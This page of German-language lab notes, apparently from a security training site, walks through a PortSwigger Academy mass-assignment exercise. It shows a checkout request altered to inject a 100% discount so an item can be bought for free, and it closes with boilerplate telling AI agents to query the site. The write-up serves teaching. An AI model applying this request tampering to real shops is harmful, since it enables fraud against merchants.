> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/api-testing/mass-assignment-exploitation.md).
# Ausnutzung von Mass Assignment
Notizen zur Ausnutzung von Mass Assignment für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Kontext zur Behebung.
### Ausnutzen einer Mass-Assignment-Schwachstelle
**Lernziel**/ Ausnutzen einer Mass-Assignment-Schwachstelle, um das Produkt Lightweight "l33t" Leather Jacket ohne ausreichende Mittel zu kaufen. / Bereitgestellte Anmeldedaten: **wiener / peter**
#### Beobachtung des Normalverhaltens
Wenn ein Produkt in den Warenkorb gelegt und versucht wird, die Bestellung zu validieren, wird eine Anfrage an die API gesendet:
**POST-Anfrage an `/api/checkout`**/ Der Body der Anfrage enthält nur die ausgewählten Produkte:
```json
{
"chosen_products":[
{
"product_id":"1",
"quantity":1
}
]
}
```
Dann wird, wenn Sie den Status des Warenkorbs prüfen, eine GET-Abfrage an denselben Endpunkt gesendet.
**GET-Anfrage an `/api/checkout`**/ Die vom Server zurückgegebene Antwort liegt im JSON-Format vor und enthält zusätzliche Felder:
```json
{
"chosen_discount":{
"percentage":0
},
"chosen_products":[
{
"product_id":"1",
"name":"Lightweight /"l33t/" Leather Jacket",
"quantity":1,
"item_price":133700
}
]
}
```
Das `chosen_discount.percentage` Feld, das auf Kundenseite bei der ersten Übermittlung nicht kontrolliert wird, kann eingesehen werden.
#### Ausnutzung der Schwachstelle
Beim Abfangen der **POST `/api/checkout`** Anfrage ist es möglich, manuell das `chosen_discount` Feld zum Body der Anfrage hinzuzufügen.
**Geänderte Anfrage**:
```json
{
"chosen_discount":{
"percentage":100
},
"chosen_products":[
{
"product_id":"1",
"quantity":1
}
]
}
```
Diese Änderung wird vom Server akzeptiert, wenn die Anfrage erneut gesendet wird.
#### Ergebnis
Der Server wendet einen Rabatt von **100%** auf das Produkt an, wodurch es möglich ist, den Kauf kostenlos abzuschließen. / Der Befehl wird erfolgreich validiert, was durch die Weiterleitung zu: angezeigt wird:
```bash
/cart/order-confirmation?order-confirmed=true
```
#### Fazit
Diese Schwachstelle basiert auf einer **Mass Assignment**, bei der die API sensible Felder akzeptiert und verarbeitet, die vom Client ohne angemessene Validierung bereitgestellt werden. Durch das Einschleusen eines nicht vorgesehenen Parameters (`chosen_discount`), ist es möglich, die Geschäftslogik zu ändern und Preisprüfungen zu umgehen.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/web/api-testing/mass-assignment-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
